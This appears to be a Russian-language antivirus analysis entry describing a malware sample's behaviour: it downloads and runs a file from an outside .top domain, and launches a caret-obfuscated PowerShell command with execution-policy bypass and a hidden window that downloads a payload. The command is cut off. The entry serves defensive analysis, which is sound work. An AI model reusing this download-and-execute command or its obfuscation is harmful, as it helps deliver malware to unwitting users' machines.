Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^owe^RsHEL^l^.e^x^e -e^XECuTion^Po^liC^Y ^BYPAS^s^ ^-N^OPr^oF^I^LE -WI^N^do^Wst^YLE hIDd^En^ (ne^w-oBjeCt sysTe^m.N^Et^.^we^BCl^i^ENt^)^.DoW^N^Lo^aDFiL^E^('http://www.fop...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^owe^RsHEL^l^.e^x^e -e^XECuTion^Po^liC^Y ^BYPAS^s^ ^-N^OPr^oF^I^LE -WI^N^do^Wst^YLE hIDd^En^ (ne^w-oBjeCt sysTe^m.N^Et^.^we^BCl^i^ENt^)^.DoW^N^Lo^aDFiL^E^('http://www.fop...' (со скрытым окном)
